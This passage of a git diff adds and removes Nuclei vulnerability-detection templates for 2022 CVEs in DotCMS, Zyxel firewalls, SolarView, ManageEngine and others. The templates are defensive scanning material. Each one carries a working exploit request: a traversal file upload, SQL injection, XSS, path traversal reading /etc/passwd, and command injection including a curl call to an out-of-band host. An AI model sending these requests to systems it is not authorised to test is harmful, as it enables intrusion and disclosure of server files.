- '
- condition: and
-
- - type: word
- part: header
- words:
- - 'text/xml'
-
- - type: status
- status:
- - 200
-
-# digest: 4a0a0047304502203ae18ae0788ec7bba9ff7655f021e591d4738f30ebc268792ba8cad5511b62fc022100fb29e7d8ae023df0fdf98dd1918e899657007c99aa84a9ce14c6ac2d5f93e00b:922c64590222798bb761d5b6d8e72950
diff --git a/nuclei-templates/CVE-2022/CVE-2022-26352.yaml b/nuclei-templates/CVE-2022/CVE-2022-26352.yaml
new file mode 100644
index 0000000000..f75c2c3155
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-26352.yaml
@@ -0,0 +1,41 @@
+id: CVE-2022-26352
+info:
+ name: DotCMS - Arbitrary File Upload
+ author: h1ei1
+ severity: critical
+ description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
+ reference:
+ - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
+ - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
+ - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
+ classification:
+ cve-id: CVE-2022-26352
+ tags: cve,cve2022,rce,dotcms
+requests:
+ - raw:
+ - |
+ POST /api/content/ HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
+
+ --------------------------aadc326f7ae3eac3
+ Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
+ Content-Type: text/plain
+
+ <%
+ out.println("CVE-2022-26352");
+ %>
+ --------------------------aadc326f7ae3eac3--
+ - |
+ GET /{{randstr}}.jsp HTTP/1.1
+ Host: {{Hostname}}
+ req-condition: true
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(body_2, "CVE-2022-26352")'
+ - 'status_code_2 == 200'
+ condition: and
+
+# Enhanced by mp on 2022/05/19
diff --git a/nuclei-templates/CVE-2022/CVE-2022-26564.yaml b/nuclei-templates/CVE-2022/CVE-2022-26564.yaml
new file mode 100644
index 0000000000..f95d08a217
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-26564.yaml
@@ -0,0 +1,41 @@
+id: CVE-2022-26564
+info:
+ name: HotelDruid Hotel Management Software 3.0.3 XSS
+ author: alexrydzak
+ severity: medium
+ description: |
+ HotelDruid Hotel Management Software v3.0.3 contains a cross-site scripting (XSS) vulnerability.
+ reference:
+ - https://rydzak.me/2022/04/cve-2022-26564/
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-26564
+ - https://www.hoteldruid.com
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-26564
+ cwe-id: CWE-79
+ metadata:
+ shodan-query: http.favicon.hash:-1521640213
+ tags: cve,cve2022,hoteldruid,xss
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>'
+ - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1'
+ - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>'
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - ""
+ - "HotelDruid"
+ condition: and
+ - type: word
+ part: header
+ words:
+ - "text/html"
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-27927.yaml b/nuclei-templates/CVE-2022/CVE-2022-27927.yaml
deleted file mode 100644
index 96820d1ca3..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-27927.yaml
+++ /dev/null
@@ -1,38 +0,0 @@
-id: CVE-2022-27927
-info:
- name: Microfinance Management System 1.0 - SQL Injection
- author: lucasljm2001,ekrause
- severity: critical
- description: |
- Microfinance Management System 1.0 is susceptible to SQL Injection.
- reference:
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
- - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
- - https://www.exploit-db.com/exploits/50891
- - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-27927
- cwe-id: CWE-89
- metadata:
- verified: "true"
- tags: cve,cve2022,sqli,microfinance
-variables:
- num: "999999999"
-requests:
- - raw:
- - |
- GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
- Host: {{Hostname}}
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '{{md5({{num}})}}'
- - type: status
- status:
- - 200
-
-# Enhanced by mp on 2022/07/04
diff --git a/nuclei-templates/CVE-2022/CVE-2022-28219.yaml b/nuclei-templates/CVE-2022/CVE-2022-28219.yaml
deleted file mode 100644
index a812336fd8..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-28219.yaml
+++ /dev/null
@@ -1,53 +0,0 @@
-id: CVE-2022-28219
-info:
- name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution
- author: dwisiswant0
- severity: critical
- description: |
- Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an
- unauthenticated XML entity injection attack that can lead to remote code execution.
- reference:
- - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
- - https://www.horizon3.ai/red-team-blog-cve-2022-28219/
- - https://manageengine.com
- - https://nvd.nist.gov/vuln/detail/CVE-2022-28219
- remediation: |
- Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus
- is configured with a dedicated service account with restricted privileges.
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-28219
- cwe-id: CWE-611
- metadata:
- shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus"
- verified: "true"
- tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth
-requests:
- - method: POST
- path:
- - "{{BaseURL}}/api/agent/tabs/agentData"
- headers:
- Content-Type: application/json
- body: |
- [
- {
- "DomainName": "{{Host}}",
- "EventCode": 4688,
- "EventType": 0,
- "TimeGenerated": 0,
- "Task Content": " %xxe; ]>"
- }
- ]
- matchers-condition: and
- matchers:
- - type: word
- part: interactsh_protocol # Confirms the HTTP Interaction
- words:
- - "http"
- - type: word
- part: body
- words:
- - "ManageEngine"
-
-# Enhanced by mp on 2022/07/04
diff --git a/nuclei-templates/CVE-2022/CVE-2022-28365.yaml b/nuclei-templates/CVE-2022/CVE-2022-28365.yaml
deleted file mode 100644
index 2901fb229e..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-28365.yaml
+++ /dev/null
@@ -1,49 +0,0 @@
-id: CVE-2022-28365
-
-info:
- name: Reprise License Manager 14.2 - Information Disclosure
- author: Akincibor
- severity: medium
- description: |
- Reprise License Manager 14.2 is susceptible to information disclosure via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information. An attacker can possibly obtain further sensitive information, modify data, and/or execute unauthorized operations.
- remediation: |
- Apply the latest security patch or upgrade to a non-vulnerable version of Reprise License Manager.
- reference:
- - https://www.reprisesoftware.com/products/software-license-management.php
- - https://github.com/advisories/GHSA-4g2v-6x25-vr7p
- - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html
- - https://nvd.nist.gov/vuln/detail/CVE-2022-28365
- - https://www.reprisesoftware.com/RELEASE_NOTES
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- cvss-score: 5.3
- cve-id: CVE-2022-28365
- cwe-id: CWE-425
- epss-score: 0.00561
- epss-percentile: 0.75215
- cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:*
- metadata:
- max-request: 1
- vendor: reprisesoftware
- product: reprise_license_manager
- tags: rlm,packetstorm,cve,cve2022,exposure
-
-http:
- - method: GET
- path:
- - "{{BaseURL}}/goforms/rlminfo"
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "RLM Version"
- - "Platform type"
- condition: and
-
- - type: status
- status:
- - 200
-
-# digest: 4a0a0047304502205821330339f0d29034ad51d0bd2c9c2ace4e7b307ad085540ce4f385939d6f7102210089477bf6056245d4a2c185812ec917c18538d593922361f020a3c6c14ee25015:922c64590222798bb761d5b6d8e72950
diff --git a/nuclei-templates/CVE-2022/CVE-2022-29298.yaml b/nuclei-templates/CVE-2022/CVE-2022-29298.yaml
deleted file mode 100644
index 191cb6e9b8..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-29298.yaml
+++ /dev/null
@@ -1,33 +0,0 @@
-id: CVE-2022-29298
-info:
- name: SolarView Compact 6.00 - Directory Traversal
- author: ritikchaddha
- severity: high
- description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal.
- reference:
- - https://www.exploit-db.com/exploits/50950
- - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
- - https://nvd.nist.gov/vuln/detail/CVE-2022-29298
- - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- cvss-score: 7.5
- cve-id: CVE-2022-29298
- cwe-id: CWE-22
- metadata:
- shodan-query: http.html:"SolarView Compact"
- verified: "true"
- tags: cve,cve2022,lfi,solarview
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"
- matchers-condition: and
- matchers:
- - type: regex
- part: body
- regex:
- - "root:.*:0:0:"
- - type: status
- status:
- - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-29299.yaml b/nuclei-templates/CVE-2022/CVE-2022-29299.yaml
deleted file mode 100644
index 7bec163c15..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-29299.yaml
+++ /dev/null
@@ -1,37 +0,0 @@
-id: CVE-2022-29299
-info:
- name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting
- author: For3stCo1d
- severity: medium
- description: |
- SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php.
- reference:
- - https://www.exploit-db.com/exploits/50967
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299
- classification:
- cve-id: CVE-2022-29299
- metadata:
- verified: true
- shodan-query: http.favicon.hash:-244067125
- tags: cve,cve2022,xss,solarview
-requests:
- - method: GET
- path:
- - '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6'
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '<"">'
- - '/Solar_History.php" METHOD="post">'
- condition: and
- - type: word
- part: header
- words:
- - "text/html"
- - type: status
- status:
- - 200
-
-# Enhanced by cs 06/21/2022
diff --git a/nuclei-templates/CVE-2022/CVE-2022-29303.yaml b/nuclei-templates/CVE-2022/CVE-2022-29303.yaml
deleted file mode 100644
index 1d2c392e54..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-29303.yaml
+++ /dev/null
@@ -1,42 +0,0 @@
-id: CVE-2022-29303
-
-info:
- name: SolarView Compact 6.00 - OS Command Injection
- author: badboycxcc
- severity: critical
- description: |
- SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php.
- reference:
- - https://www.exploit-db.com/exploits/50940
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303
- - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-29303
- cwe-id: CWE-77
- metadata:
- shodan-query: http.html:"SolarView Compact"
- verified: "true"
- tags: cve,cve2022,rce,injection,solarview,edb
-
-variables:
- cmd: "cat${IFS}/etc/passwd"
-
-requests:
- - raw:
- - |
- @timeout: 25s
- POST /conf_mail.php HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
-
- matchers:
- - type: regex
- part: body
- regex:
- - "root:.*:0:0"
-
-# Enhanced by mp on 2022/06/01
diff --git a/nuclei-templates/CVE-2022/CVE-2022-29548.yaml b/nuclei-templates/CVE-2022/CVE-2022-29548.yaml
deleted file mode 100644
index f6b5e980e8..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-29548.yaml
+++ /dev/null
@@ -1,37 +0,0 @@
-id: CVE-2022-29548
-info:
- name: WSO2 Management Console - Reflected XSS
- author: edoardottt
- severity: medium
- description: |
- A reflected XSS issue exists in the Management Console of several WSO2 products.
- reference:
- - https://nvd.nist.gov/vuln/detail/CVE-2022-29548
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29548
- - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-29548
- cwe-id: CWE-79
- metadata:
- google-dork: inurl:"carbon/admin/login"
- verified: "true"
- tags: cve,cve2022,wso2,xss
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//"
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "CARBON.showWarningDialog('???');alert(document.domain)//???"
- - type: word
- part: header
- words:
- - "text/html"
- - type: status
- status:
- - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-30073.yaml b/nuclei-templates/CVE-2022/CVE-2022-30073.yaml
new file mode 100644
index 0000000000..6ffd826db8
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-30073.yaml
@@ -0,0 +1,63 @@
+id: CVE-2022-30073
+info:
+ name: WBCE CMS v1.5.2 XSS Stored
+ author: arafatansari
+ severity: medium
+ description: |
+ WBCE CMS 1.5.2 is vulnerable to Cross Site Scripting (XSS) via \admin\user\save.php Display Name parameters.
+ reference:
+ - https://github.com/APTX-4879/CVE
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30073
+ - https://github.com/APTX-4879/CVE/blob/main/CVE-2022-30073.pdf
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 5.4
+ cve-id: CVE-2022-30073
+ cwe-id: CWE-79
+ metadata:
+ verified: "true"
+ tags: cve,cve2022,wbcecms,xss
+requests:
+ - raw:
+ - |
+ POST /admin/login/index.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ url=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login
+ - |
+ GET /admin/users/index.php HTTP/1.1
+ Host: {{Hostname}}
+ - |
+ POST /admin/users/index.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ formtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
+ - |
+ GET /admin/users/index.php HTTP/1.1
+ Host: {{Hostname}}
+ extractors:
+ - type: regex
+ name: formtoken
+ part: body
+ group: 1
+ regex:
+ - ''
+ internal: true
+ cookie-reuse: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "
"
+ - "WBCECMS"
+ condition: and
+ - type: word
+ part: header
+ words:
+ - text/html
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-30489.yaml b/nuclei-templates/CVE-2022/CVE-2022-30489.yaml
new file mode 100644
index 0000000000..fa2302aea9
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-30489.yaml
@@ -0,0 +1,42 @@
+id: CVE-2022-30489
+info:
+ name: Wavlink Wn535g3 - POST XSS
+ author: For3stCo1d
+ severity: medium
+ description: |
+ WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi.
+ reference:
+ - https://github.com/badboycxcc/XSS-CVE-2022-30489
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
+ - https://github.com/badboycxcc/XSS
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-30489
+ cwe-id: CWE-79
+ metadata:
+ shodan-query: http.title:"Wi-Fi APP Login"
+ verified: "true"
+ tags: xss,cve2022,wavlink,cve,router,iot
+requests:
+ - raw:
+ - |
+ POST /cgi-bin/login.cgi HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ''
+ - 'parent.location.replace("http://")'
+ condition: and
+ - type: word
+ part: header
+ words:
+ - text/html
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-30525.yaml b/nuclei-templates/CVE-2022/CVE-2022-30525.yaml
new file mode 100644
index 0000000000..f1fe6f3456
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-30525.yaml
@@ -0,0 +1,39 @@
+id: CVE-2022-30525
+info:
+ name: Zyxel Firewall - OS Command Injection
+ author: h1ei1,prajiteshsingh
+ severity: critical
+ description: |
+ An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
+ reference:
+ - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
+ - https://github.com/rapid7/metasploit-framework/pull/16563
+ - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-30525
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-30525
+ cwe-id: CWE-78
+ metadata:
+ shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
+ tags: rce,zyxel,cve,cve2022,firewall,unauth,kev
+requests:
+ - raw:
+ - |
+ POST /ztp/cgi-bin/handler HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/json
+
+ {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "http"
+ - type: status
+ status:
+ - 500
+
+# Enhanced by mp on 2022/05/19
diff --git a/nuclei-templates/CVE-2022/CVE-2022-30777.yaml b/nuclei-templates/CVE-2022/CVE-2022-30777.yaml
new file mode 100644
index 0000000000..2c50f208fc
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-30777.yaml
@@ -0,0 +1,38 @@
+id: CVE-2022-30777
+info:
+ name: Parallels H-Sphere - Cross Site Scripting
+ author: 3th1c_yuk1
+ severity: medium
+ description: |
+ Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter.
+ reference:
+ - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-30777
+ - https://en.wikipedia.org/wiki/H-Sphere
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-30777
+ cwe-id: CWE-79
+ metadata:
+ shodan-query: title:"h-sphere"
+ verified: "true"
+ tags: cve,cve2022,parallels,hsphere,xss
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+ - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"><script>alert(document.domain)</script>'
+ - type: word
+ part: header
+ words:
+ - "text/html"
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-31268.yaml b/nuclei-templates/CVE-2022/CVE-2022-31268.yaml
new file mode 100644
index 0000000000..ada90dc224
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-31268.yaml
@@ -0,0 +1,40 @@
+id: CVE-2022-31268
+info:
+ name: Gitblit 1.9.3 - Path traversal
+ author: 0x_Akoko
+ severity: high
+ description: |
+ A Path Traversal vulnerability in Gitblit 1.9.3 can lead to reading website files via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
+ reference:
+ - https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
+ - https://www.cvedetails.com/cve/CVE-2022-31268
+ - https://vuldb.com/?id.200500
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-31268
+ cwe-id: CWE-22
+ metadata:
+ shodan-query: http.html:"Gitblit"
+ verified: "true"
+ tags: cve,cve2022,lfi,gitblit
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/resources//../WEB-INF/web.xml"
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "</web-app>"
+ - "java.sun.com"
+ - "gitblit.properties"
+ condition: and
+ - type: word
+ part: header
+ words:
+ - "application/xml"
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-31373.yaml b/nuclei-templates/CVE-2022/CVE-2022-31373.yaml
deleted file mode 100644
index c09b86777f..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-31373.yaml
+++ /dev/null
@@ -1,36 +0,0 @@
-id: CVE-2022-31373
-info:
- name: SolarView Compact 6.00 - Cross-Site Scripting(XSS)
- author: ritikchaddha
- severity: medium
- description: |
- SolarView Compact v6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component Solar_AiConf.php.
- reference:
- - https://github.com/badboycxcc/SolarView_Compact_6.0_xss
- - https://nvd.nist.gov/vuln/detail/CVE-2022-31373
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-31373
- cwe-id: CWE-79
- metadata:
- shodan-query: http.html:"SolarView Compact"
- verified: "true"
- tags: cve,cve2022,xss,solarview
-requests:
- - method: GET
- path:
- - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '/Solar_AiConf.php/"><script>alert(document.domain)</script>'
- - type: word
- part: header
- words:
- - "text/html"
- - type: status
- status:
- - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-31793.yaml b/nuclei-templates/CVE-2022/CVE-2022-31793.yaml
deleted file mode 100644
index 7b771a920c..0000000000
--- a/nuclei-templates/CVE-2022/CVE-2022-31793.yaml
+++ /dev/null
@@ -1,29 +0,0 @@
-id: CVE-2022-31793
-info:
- name: muhttpd <= 1.1.5 - Path traversal
- author: scent2d
- severity: high
- description: |
- A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system.
- reference:
- - https://derekabdine.com/blog/2022-arris-advisory.html
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793
- - https://nvd.nist.gov/vuln/detail/CVE-2022-31793
- - https://derekabdine.com/blog/2022-arris-advisory
- metadata:
- verified: "true"
- tags: cve,cve2022,network,muhttpd,lfi,unauth
-network:
- - host:
- - "{{Hostname}}"
- inputs:
- - data: "47455420612F6574632F706173737764"
- type: hex
- - data: "\n\n"
- read-size: 128
- matchers:
- - type: word
- part: body
- encoding: hex
- words:
- - "726f6f743a"
diff --git a/nuclei-templates/CVE-2022/CVE-2022-32024.yaml b/nuclei-templates/CVE-2022/CVE-2022-32024.yaml
new file mode 100644
index 0000000000..644f0f8df2
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-32024.yaml
@@ -0,0 +1,44 @@
+id: CVE-2022-32024
+info:
+ name: Car Rental Management System v1.0 - SQL Injection
+ author: arafatansari
+ severity: high
+ description: |
+ Car Rental Management System v1.0 is vulnerable to SQL Injection via /booking.php?car_id=.
+ reference:
+ - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-32024
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 7.2
+ cve-id: CVE-2022-32024
+ cwe-id: CWE-89
+ metadata:
+ comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
+ shodan-query: http.html:"Car Rental Management System"
+ verified: "true"
+ tags: cve,cve2022,carrental,cms,sqli,authenticated
+variables:
+ num: "999999999"
+requests:
+ - raw:
+ - |
+ POST /admin/ajax.php?action=login HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username={{username}}&password={{password}}
+ - |
+ GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
+ Host: {{Hostname}}
+ skip-variables-check: true
+ cookie-reuse: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '{{md5({{num}})}}'
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-32025.yaml b/nuclei-templates/CVE-2022/CVE-2022-32025.yaml
new file mode 100644
index 0000000000..fb24e14552
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-32025.yaml
@@ -0,0 +1,46 @@
+id: CVE-2022-32025
+info:
+ name: Car Rental Management System v1.0 - SQL Injection
+ author: arafatansari
+ severity: high
+ description: |
+ Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/view_car.php?id=.
+ reference:
+ - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-6.md
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-32025
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 7.2
+ cve-id: CVE-2022-32025
+ cwe-id: CWE-89
+ metadata:
+ comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
+ shodan-query: http.html:"Car Rental Management System"
+ verified: "true"
+ tags: cve,cve2022,carrental,cms,sqli,authenticated
+variables:
+ num: "999999999"
+requests:
+ - raw:
+ - |
+ POST /admin/ajax.php?action=login HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username={{username}}%23&password={{password}}
+ - |
+ GET /admin/view_car.php?id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
+ Host: {{Hostname}}
+ skip-variables-check: true
+ redirects: true
+ max-redirects: 2
+ cookie-reuse: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '{{md5({{num}})}}'
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2022/CVE-2022-32028.yaml b/nuclei-templates/CVE-2022/CVE-2022-32028.yaml
new file mode 100644
index 0000000000..6afb4dca59
--- /dev/null
+++ b/nuclei-templates/CVE-2022/CVE-2022-32028.yaml
